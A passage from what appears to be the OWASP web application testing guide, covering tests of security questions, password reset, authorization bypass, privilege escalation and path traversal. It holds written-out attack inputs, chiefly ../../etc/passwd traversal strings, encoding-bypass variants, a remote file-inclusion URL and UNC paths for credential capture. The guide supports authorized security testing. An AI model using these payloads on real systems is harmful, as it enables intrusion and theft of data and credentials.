1. What characters are permitted and forbidden for use within a password? Is the user required to use characters from different character sets such as lower and uppercase letters, digits and special symbols?
2. How often can a user change their password? How quickly can a user change their password after a previous change? Users may bypass password history requirements by changing their password 5 times in a row so that after the last password change they have configured their initial password again.
3. When must a user change their password? After 90 days? After account lockout due to excessive log on attempts?
4. How often can a user reuse a password? Does the application maintain a history of the user's previous used 8 passwords?
5. How different must the next password be from the last password?
6. Is the user prevented from using his username or other account information (such as first or last name) in the password?

References

- [Brute Force Attacks](#)
- [Password length & complexity](#)

Remediation

To mitigate the risk of easily guessed passwords facilitating unauthorized access there are two solutions: introduce additional authentication controls (i.e. two-factor authentication) or introduce a strong password policy. The simplest and cheapest of these is the introduction of a strong password policy that ensures password length, complexity, reuse and aging.

Testing for Weak security question/answer (OTG-AUTHN-008)

Summary

Often called "secret" questions and answers, security questions and answers are often used to recover forgotten passwords (see [Testing for weak password change or reset functionalities \(OTG-AUTHN-009\)](#)), or as extra security on top of the password.

They are typically generated upon account creation and require the user to select from some pre-generated questions and supply an appropriate answer. They may allow the user to generate their own question and answer pairs. Both methods are prone to insecurities. Ideally, security questions should generate answers that are only known by the user, and not guessable or discoverable by anybody else. This is harder than it sounds.

Security questions and answers rely on the secrecy of the answer. Questions and answers should be chosen so that the answers are only known by the account holder. However, although a lot of answers may not be publicly known, most of the questions that websites implement promote answers that are pseudo-private.

Pre-generated questions:

The majority of pre-generated questions are fairly simplistic in nature and can lead to insecure answers. For example:

- The answers may be known to family members or close friends of the user, e.g. "What is your mother's maiden name?", "What is your date of birth?"
- The answers may be easily guessable, e.g. "What is your favorite color?", "What is your favorite baseball team?"
- The answers may be brute forcible, e.g. "What is the first name of your favorite high school teacher?" - the answer is probably on some easily downloadable lists of popular first names, and therefore a simple brute force attack can be scripted.
- The answers may be publicly discoverable, e.g. "What is your favorite movie?" - the answer may easily be found on the user's social media profile page.

Self-generated questions:

The problem with having users to generate their own questions is that it allows them to generate very insecure questions, or even bypass the whole point of having a security question in the first place. Here are some real world examples that illustrate this point:

- "What is 1+1?"
- "What is your username?"
- "My password is M3@t\$p1N"

How to Test

Testing for weak pre-generated questions:

Try to obtain a list of security questions by creating a new account or by following the "I don't remember my password"-process. Try to generate as many questions as possible to get a good idea of the type of security questions that are asked. If any of the security questions fall in the categories described above, they are vulnerable to being attacked (guessed, brute-forced, available on social media, etc.).

Testing for weak self-generated questions:

Try to create security questions by creating a new account or by configuring your existing account's password recovery properties. If the system allows the user to generate their own security questions, it is vulnerable to having insecure questions created. If the system uses the self-generated security questions during the forgotten password functionality and if usernames can be enumerated (see [Testing for Account Enumeration and Guessable User Account \(OTG-IDENT-004\)](#)), then it should be easy for the tester to enumerate a number of self-generated questions. It should be expected to find several weak self-generated questions using this method.

Testing for brute-forcible answers:

Use the methods described in [Testing for Weak lock out mechanism \(OTG-AUTHN-003\)](#) to determine if a number of incorrectly supplied security answers trigger a lockout mechanism.

The first thing to take into consideration when trying to exploit security questions is the number of questions that need to be answered. The majority of applications only need the user to answer a single question, whereas some critical applications may require the user to answer two or even more questions.

The next step is to assess the strength of the security questions. Could the answers be obtained by a simple Google search or with social engineering attack? As a penetration tester, here is a step-by-step walk-through of exploiting a security question scheme:

- Does the application allow the end-user to choose the question that needs to be answered? If so, focus on questions which have:
 - A “public” answer; for example, something that could be found with a simple search-engine query.
 - A factual answer such as a “first school” or other facts which can be looked up.
 - Few possible answers, such as “what model was your first car”. These questions would present the attacker with a short list of possible answers, and based on statistics the attacker could rank answers from most to least likely.
- Determine how many guesses you have if possible.
 - Does the password reset allow unlimited attempts?
 - Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against legitimate users.
- Pick the appropriate question based on analysis from the above points, and do research to determine the most likely answers.

The key to successfully exploiting and bypassing a weak security question scheme is to find a question or set of questions which give the possibility of easily finding the answers. Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers. In the end, a security question scheme is only as strong as the weakest question.

References

- [The Curse of the Secret Question](#)

Testing for weak password change or reset functionalities (OTG-AUTHN-009)

Summary

The password change and reset function of an application is a self-service password change or reset mechanism for users. This self-service mechanism allows users to quickly change or reset their password without an administrator intervening. When passwords are changed they are typically changed within the application. When passwords are reset they are either rendered within the application or emailed to the user. This may indicate that the passwords are stored in plain text or in a decryptable format.

Test objectives

1. Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account.
2. Determine the resistance of the passwords reset functionality against guessing or bypassing.

How to Test

For both password change and password reset it is important to check:

1. if users, other than administrators, can change or reset passwords for accounts other than their own.
2. if users can manipulate or subvert the password change or reset process to change or reset the password of another user or administrator.
3. if the password change or reset process is vulnerable to [CSRF](#).

Test Password Reset

In addition to the previous checks it is important to verify the following:

- What information is required to reset the password?

The first step is to check whether secret questions are required. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the application needs a high level of security.

On the other hand, if secret questions are used, the next step is to assess their strength. This specific test is discussed in detail in the [Testing for Weak security question/answer](#) paragraph of this guide.

- How are reset passwords communicated to the user?

The most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last log in the victim would not know that their account has been compromised.

A less insecure scenario is if the password reset tool forces the user to immediately change their password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out.

The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application show this information) but also to compromise that email account in order to obtain the temporary password or the password reset link.

- Are reset passwords generated randomly?

The most insecure scenario here is if the application sends or visualizes the old password in clear text because this means that passwords are not stored in a hashed form, which is a security issue in itself.

The best security is achieved if passwords are randomly generated with a secure algorithm that cannot be derived.

- Is the reset password functionality requesting confirmation before changing the password?

To limit denial-of-service attacks the application should email a link to the user with a random token, and only if the user visits the link then the reset procedure is completed. This ensures that the current password will still be valid until the reset has been confirmed.

Test Password Change

In addition to the previous test it is important to verify:

- Is the old password requested to complete the change?

The most insecure scenario here is if the application permits the change of the password without requesting the current password. Indeed if an attacker is able to take control of a valid session they could easily change the victim's password.

See also [Testing for Weak password policy](#) paragraph of this guide.

References

- [OWASP Forgot Password Cheat Sheet](#)
- [OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery](#)

Remediation

The password change or reset function is a sensitive function and requires some form of protection, such as requiring users to re-authenticate or presenting the user with confirmation screens during the process.

Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)

Summary

Even if the primary authentication mechanisms do not include any vulnerabilities, it may be that vulnerabilities exist in alternative legitimate authentication user channels for the same user accounts. Tests should be undertaken to identify alternative channels and, subject to test scoping, identify vulnerabilities.

The alternative user interaction channels could be utilized to circumvent the primary channel, or expose information that can then be used to assist an attack against the primary channel. Some of these channels may themselves be separate web applications using different host names or paths. For example:

- Standard website
- Mobile, or specific device, optimized website
- Accessibility optimized website
- Alternative country and language websites
- Parallel websites that utilize the same user accounts (e.g. another website offering different functionality of the same organization, a partner website with which user accounts are shared)
- Development, test, UAT and staging versions of the standard website

But they could also be other types of application or business processes:

- Mobile device app
- Desktop application
- Call center operators
- Interactive voice response or phone tree systems

Note that the focus of this test is on alternative channels; some authentication alternatives might appear as different content delivered via the same website and would almost certainly be in scope for testing. These are not discussed further here, and should have been identified during information gathering and primary authentication testing. For example:

- Progressive enrichment and graceful degradation that change functionality
- Site use without cookies
- Site use without JavaScript
- Site use without plugins such as for Flash and Java

Even if the scope of the test does not allow the alternative channels to be tested, their existence should be documented. These may undermine the degree of assurance in the authentication mechanisms and may be a precursor to additional testing.

Example

The primary website is:

```
http://www.example.com
```

and authentication functions always take place on pages using Transport Layer Security:

```
https://www.example.com/myaccount/
```

However, a separate mobile-optimized website exists that does not use Transport Layer Security at all, and has a weaker password recovery mechanism:

```
http://m.example.com/myaccount/
```

How to Test

Understand the primary mechanism

Fully test the website's primary authentication functions. This should identify how accounts are issued, created or changed and how passwords are recovered, reset, or changed. Additionally knowledge of any elevated privilege authentication and authentication protection measures should be known. These precursors are necessary to be able to compare with any alternative channels.

Identify other channels

Other channels can be found by using the following methods:

- Reading site content, especially the home page, contact us, help pages, support articles and FAQs, T&Cs, privacy notices, the robots.txt file and any sitemap.xml files.
- Searching HTTP proxy logs, recorded during previous information gathering and testing, for strings such as "mobile", "android", "blackberry", "ipad", "iphone", "mobile app", "e-reader", "wireless", "auth", "sso", "single sign on" in URL paths and body content.
- Use search engines to find different websites from the same organization, or using the same domain name, that have similar home page content or which also have authentication mechanisms.

For each possible channel confirm whether user accounts are shared across these, or provide access to the same or similar functionality.

Enumerate authentication functionality

For each alternative channel where user accounts or functionality are shared, identify if all the authentication functions of the primary channel are available, and if anything extra exists. It may be useful to create a grid like the one below:

Primary	Mobile	Call Center	Partner Website
Register	Yes	-	-
Log in	Yes	Yes	Yes (SSO)
Log out	-	-	-
Password reset	Yes	Yes	-
-	Change password	-	-

In this example, mobile has an extra function "change password" but does not offer "log out". A limited number of tasks are also possible by phoning the call center. Call centers can be interesting, because their identity confirmation checks might be weaker than the website's, allowing this channel to be used to aid an attack against a user's account.

While enumerating these it is worth taking note of how session management is undertaken, in case there is overlap across any channels (e.g. cookies scoped to the same parent domain name, concurrent sessions allowed across channels, but not on the same channel).

Review and test

Alternative channels should be mentioned in the testing report, even if they are marked as "information only" and/or "out of scope". In some cases the test scope might include the alternative channel (e.g. because it is just another path on the target host name), or may be added to the scope after discussion with the owners of all the channels. If testing is permitted and authorized, all the other authentication tests in this guide should then be performed, and compared against the primary channel.

Related Test Cases

The test cases for all the other authentication tests should be utilized.

Remediation

Ensure a consistent authentication policy is applied across all channels so that they are equally secure.

Authorization Testing

Authorization is the concept of allowing access to resources only to those permitted to use them. Testing for Authorization means understanding how the authorization process works, and using that information to circumvent the authorization mechanism.

Authorization is a process that comes after a successful authentication, so the tester will verify this point after he holds valid credentials, associated with a well-defined set of roles and privileges. During this kind of assessment, it should be verified if it is possible to bypass the authorization schema, find a path traversal vulnerability, or find ways to escalate the privileges assigned to the tester.

- [Testing Directory traversal/file include \(OTG-AUTHZ-001\)](#)
- [Testing for bypassing authorization schema \(OTG-AUTHZ-002\)](#)
- [Testing for Privilege Escalation \(OTG-AUTHZ-003\)](#)
- [Testing for Insecure Direct Object References \(OTG-AUTHZ-004\)](#)

Testing Directory traversal/file include (OTG-AUTHZ-001)

Summary

Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.

Traditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users' files inside a "root directory" or "web document root", which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.

The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common `/etc/passwd` file on a UNIX-like platform) or to avoid the execution of system commands.

Many web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.

In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.

For the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous "%5c escape code" into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.

This kind of attack is also known as the dot-dot-slash attack (`../`), directory traversal, directory climbing, or backtracking.

During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:

- **(a) Input Vectors Enumeration** (a systematic evaluation of each input vector)
- **(b) Testing Techniques** (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)

How to Test

Black Box testing

Input Vectors Enumeration

In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.

Here are some examples of the checks to be performed at this stage:

- Are there request parameters which could be used for file-related operations?
- Are there unusual file extensions?
- Are there interesting variable names?

```
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
```

- Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?

```
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=f1ower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
```

Testing Techniques

The next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called *getUserProfile.jsp* loads static information from a file and shows the content to users. An attacker could insert the malicious string `../../../../etc/passwd` to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.

To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting `/etc/passwd` from an IIS web server.

```
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
```

For the cookies example:

```
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
```

It's also possible to include files and scripts located on external website.

```
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
```

The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters.

```
http://example.com/main.cgi?home=main.cgi
```

The component called `"main.cgi"` is located in the same directory as the normal HTML static files used by the application.

In some cases the tester needs to encode the requests using special characters (like the "." dot, "%00" null, ...) in order to bypass file extension controls or to prevent script execution.

Tip: It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn't successful, try another encoding scheme.

Each operating system uses different characters as path separator:

Unix-like OS:

```
root directory: "/"
directory separator: "/"
```

Windows OS' Shell:

```
root directory: "<drive letter>:\"
directory separator: "\" or "/"
```

Classic Mac OS:

```
root directory: "<drive letter>:"
directory separator: ":"
```

We should take in to account the following character encoding mechanisms:

- URL encoding and double URL encoding

```
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
```

- Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)

```
..%c0%af represents ../
..%c1%9c represents ..\
```

There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.

- *Windows shell:* Appending any of the following to paths used in a shell command results in no difference in function:
 - Angle brackets ">" and "<" at the end of the path
 - Double quotes (closed properly) at the end of the path
 - Extraneous current directory markers such as "./" or ".\"
 - Extraneous parent directory markers with arbitrary items that may or may not exist *: Examples:

```
- file.txt
- file.txt...
- file.txt<spaces>
- file.txt""""
- file.txt<<<>>><
- ../../file.txt
- nonexistant../file.txt
```

- *Windows API:* The following items are discarded when used in any shell command or API call where a string is taken

as a filename:

```
periods
spaces
```

- **Windows UNC Filepaths:** Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.

```
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc
```

- **Windows NT Device Namespace:** Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.
 - May be equivalent to a drive letter such as c:\, or even a drive volume without an assigned letter.

```
\\.\GLOBALROOT\Device\HarddiskVolume1\
```

- Refers to the first disc drive on the machine.

```
\\.\CdRom0\
```

Gray Box testing

When the analysis is performed with a Gray Box approach, testers have to follow the same methodology as in Black Box Testing. However, since they can review the source code, it is possible to search the input vectors (*stage (a) of the testing*) more easily and accurately. During a source code review, they can use simple tools (such as the *grep* command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.

```
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...
```

Using online code search engines (e.g., Ohloh Code[<http://code.ohloh.net/>]), it may also be possible to find path traversal flaws in Open Source software published on the Internet.

For PHP, testers can use:

```
lang:php (include|require)(_once)?\s*["'](?:\s*\$_(GET|POST|COOKIE)
```

Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.

Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe" but are not in reality.

Additionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.

Consider a web application with these instructions:

```
filename = Request.QueryString("file");  
Replace(filename, "/", "\\");  
Replace(filename, "..\\", "");
```

Testing for the flaw is achieved by:

```
file=...//...//boot.ini  
file=...\\...\\boot.ini  
file= ..\\.\\boot.ini
```

Tools

- DotDotPwn - The Directory Traversal Fuzzer - <http://dotdotpwn.sectester.net>
- Path Traversal Fuzz Strings (from Wfuzz Tool) - <http://code.google.com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt>
- Web Proxy (*Burp Suite*, *Paros*, *WebScarab*, *Zed Attack Proxy (ZAP)*)
- Encoding/Decoding tools
- String searcher "grep" - <http://www.gnu.org/software/grep/>

References

Whitepapers

- phpBB Attachment Mod Directory Traversal HTTP POST Injection - <http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html>
- Windows File Pseudonyms: Pwnage and Poetry - <http://www.slideshare.net/BaronZor/windows-file-pseudonyms>

Testing for bypassing authorization schema (OTG-AUTHZ-002)

Summary

This kind of test focuses on verifying how the authorization schema has been implemented for each role or privilege to get access to reserved functions and resources.

For every specific role the tester holds during the assessment, for every function and request that the application executes during the post-authentication phase, it is necessary to verify:

- Is it possible to access that resource even if the user is not authenticated?
- Is it possible to access that resource after the log-out?
- Is it possible to access functions and resources that should be accessible to a user that holds a different role or privilege?

Try to access the application as an administrative user and track all the administrative functions.

- Is it possible to access administrative functions also if the tester is logged as a user with standard privileges?
- Is it possible to use these administrative functions as a user with a different role and for whom that action should be denied?

How to test

Testing for access to administrative functions

For example, suppose that the 'AddUser.jsp' function is part of the administrative menu of the application, and it is possible to access it by requesting the following URL:

```
https://www.example.com/admin/addUser.jsp
```

Then, the following HTTP request is generated when calling the AddUser function:

```
POST /admin/addUser.jsp HTTP/1.1
Host: www.example.com
[other HTTP headers]

userID=fakeuser&role=3&group=grp001
```

What happens if a non-administrative user tries to execute that request? Will the user be created? If so, can the new user use their privileges?

Testing for access to resources assigned to a different role

For example analyze an application that uses a shared directory to store temporary PDF files for different users. Suppose that documentABC.pdf should be accessible only by the user test1 with roleA. Verify if user test2 with roleB can access that resource.

Tools

- OWASP WebScarab: [OWASP WebScarab Project](#)

- [OWASP Zed Attack Proxy \(ZAP\)](#)

Testing for Privilege Escalation (OTG-AUTHZ-003)

Summary

This section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify his or her privileges or roles inside the application in ways that could allow privilege escalation attacks.

Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such elevation or changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.

The degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation, because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation.

Usually, people refer to *vertical escalation* when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to *horizontal escalation* when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).

How to test

Testing for role/privilege manipulation

In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), can receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify if it is possible to access a function that should not be permitted by the user's role/privilege (but might be permitted as another user).

For example:

The following HTTP POST allows the user that belongs to grp001 to access order #0001:

```
POST /user/viewOrder.jsp HTTP/1.1
Host: www.example.com
...
groupID=grp001&orderID=0001
```

Verify if a user that does not belong to grp001 can modify the value of the parameters 'groupID' and 'orderID' to gain access to that privileged data.

For example:

The following server's answer shows a hidden field in the HTML returned to the user after a successful authentication.

```
HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aw78ryrGrTws4MnOd32Fs51yDqp; path=/; domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com
Cache-Control: no-cache
```

```

Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close

<form name="autoriz" method="POST" action = "visual.jsp">
<input type="hidden" name="profile" value="SysAdmin">
<body onload="document.forms.autoriz.submit()">
</td>
</tr>

```

What if the tester modifies the value of the variable "profile" to "SysAdmin"? Is it possible to become administrator?

For example:

In an environment where the server sends an error message contained as a value in a specific parameter in a set of answer codes, as the following:

```

@0`1`3`3`0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVvalid`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToo]
StateExecToolBar`0`0`0`FlagsToolBar`0

```



The server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session.

In this condition, verify that it is not possible to escalate privileges by modifying the parameter values. In this particular example, by modifying the `PVvalid` value from `'-1'` to `'0'` (no error conditions), it may be possible to authenticate as administrator to the server.

References

Whitepapers

- Wikipedia - Privilege Escalation: http://en.wikipedia.org/wiki/Privilege_escalation

Tools

- OWASP WebScarab: [OWASP WebScarab Project](#)
- [OWASP Zed Attack Proxy \(ZAP\)](#)

Testing for Insecure Direct Object References (OTG-AUTHZ-004)

Summary

Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.

Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.

How to Test

To test for this vulnerability the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a database row, a file, application pages and more. Next the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.

The best way to test for direct object references would be by having at least two (often more) users to cover different owned objects and functions. For example two users each having access to different objects (such as purchase information, private messages, etc.), and (if relevant) users with different privileges (for example administrator users) to see whether there are direct references to application functionality. By having multiple users the tester saves valuable testing time in guessing different object names as he can attempt to access objects that belong to the other user.

Below are several typical scenarios for this vulnerability and the methods to test for each:

The value of a parameter is used directly to retrieve a database record

Sample request:

```
http://foo.bar/somepage?invoice=12345
```

In this case, the value of the *invoice* parameter is used as an index in an invoices table in the database. The application takes the value of this parameter and uses it in a query to the database. The application then returns the invoice information to the user.

Since the value of *invoice* goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice object, regardless of the user to whom the invoice belongs. To test for this case the tester should obtain the identifier of an invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and then check whether it is possible to access objects without authorization.

The value of a parameter is used directly to perform an operation in the system

Sample request:

```
http://foo.bar/changepassword?user=someuser
```

In this case, the value of the *user* parameter is used to tell the application for which user it should change the password. In many cases this step will be a part of a wizard, or a multi-step operation. In the first step the application will get a request stating for which user's password is to be changed, and in the next step the user will provide a new password (without asking for the current one).

The *user* parameter is used to directly reference the object of the user for whom the password change operation will be performed. To test for this case the tester should attempt to provide a different test username than the one currently logged in, and check whether it is possible to modify the password of another user.

The value of a parameter is used directly to retrieve a file system resource

Sample request:

```
http://foo.bar/showImage?img=img00011
```

In this case, the value of the *file* parameter is used to tell the application what file the user intends to retrieve. By providing the name or identifier of a different file (for example *file=image00012.jpg*) the attacker will be able to retrieve objects belonging to other users.

To test for this case, the tester should obtain a reference the user is not supposed to be able to access and attempt to access it by using it as the value of *file* parameter. Note: This vulnerability is often exploited in conjunction with a directory/path traversal vulnerability (see [Testing for Path Traversal](#))

The value of a parameter is used directly to access application functionality

Sample request:

```
http://foo.bar/accessPage?menuitem=12
```

In this case, the value of the *menuitem* parameter is used to tell the application which menu item (and therefore which application functionality) the user is attempting to access. Assume the user is supposed to be restricted and therefore has links available only to access to menu items 1, 2 and 3. By modifying the value of *menuitem* parameter it is possible to bypass authorization and access additional application functionality. To test for this case the tester identifies a location where application functionality is determined by reference to a menu item, maps the values of menu items the given test user can access, and then attempts other menu items.

In the above examples the modification of a single parameter is sufficient. However, sometimes the object reference may be split between more than one parameter, and testing should be adjusted accordingly.

References

- [Top 10 2013-A4-Insecure Direct Object References](#)

Session Management Testing

One of the core components of any web-based application is the mechanism by which it controls and maintains the state for a user interacting with it. This is referred to this as Session Management and is defined as the set of all controls governing state-full interaction between a user and the web-based application. This broadly covers anything from how user authentication is performed, to what happens upon them logging out.

HTTP is a stateless protocol, meaning that web servers respond to client requests without linking them to each other. Even simple application logic requires a user's multiple requests to be associated with each other across a "session". This necessitates third party solutions – through either Off-The-Shelf (OTS) middleware and web server solutions, or bespoke developer implementations. Most popular web application environments, such as ASP and PHP, provide developers with built-in session handling routines. Some kind of identification token will typically be issued, which will be referred to as a "Session ID" or Cookie.

There are a number of ways in which a web application may interact with a user. Each is dependent upon the nature of the site, the security, and availability requirements of the application. Whilst there are accepted best practices for application development, such as those outlined in the [OWASP Guide to Building Secure Web Applications](#), it is important that application security is considered within the context of the provider's requirements and expectations.

This chapter covers the following topics:

- [Testing for Bypassing Session Management Schema \(OTG-SESS-001\)](#)
- [Testing for Cookies attributes \(OTG-SESS-002\)](#)
- [Testing for Session Fixation \(OTG-SESS-003\)](#)
- [Testing for Exposed Session Variables \(OTG-SESS-004\)](#)
- [Testing for Cross Site Request Forgery \(CSRF\) \(OTG-SESS-005\)](#)
- [Testing for logout functionality \(OTG-SESS-006\)](#)
- [Test Session Timeout \(OTG-SESS-007\)](#)
- [Testing for Session puzzling \(OTG-SESS-008\)](#)

Testing for Bypassing Session Management Schema (OTG-SESS-001)

Summary

In order to avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan. These mechanisms are known as Session Management and while they are important in order to increase the ease of use and user-friendliness of the application, they can be exploited by a penetration tester to gain access to a user account, without the need to provide correct credentials.

In this test, the tester wants to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.

Cookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or cookies) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are, etc. therefore providing a state to a stateless protocol like HTTP.

A typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).

Due to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way.

In this test the tester has to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, ...).

Usually the main steps of the attack pattern are the following:

- **cookie collection**: collection of a sufficient number of cookie samples;
- **cookie reverse engineering**: analysis of the cookie generation algorithm;
- **cookie manipulation**: forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).

Another pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here testers are not trying to recreate a perfectly valid cookie. Instead, the goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.

How to Test

Black Box Testing and Examples

All interaction between the client and application should be tested at least against the following criteria:

- Are all Set-Cookie directives tagged as Secure?

- Do any Cookie operations take place over unencrypted transport?
- Can the Cookie be forced over unencrypted transport?
- If so, how does the application maintain security?
- Are any Cookies persistent?
- What Expires= times are used on persistent cookies, and are they reasonable?
- Are cookies that are expected to be transient configured as such?
- What HTTP/1.1 Cache-Control settings are used to protect Cookies?
- What HTTP/1.0 Cache-Control settings are used to protect Cookies?

Cookie collection

The first step required to manipulate the cookie is to understand how the application creates and manages cookies. For this task, testers have to try to answer the following questions:

- How many cookies are used by the application?
 - Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.
- Which parts of the the application generate and/or modify the cookie?
 - Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?
- Which parts of the application require this cookie in order to be accessed and utilized?
 - Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.

A spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.

Session Analysis

The session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage.

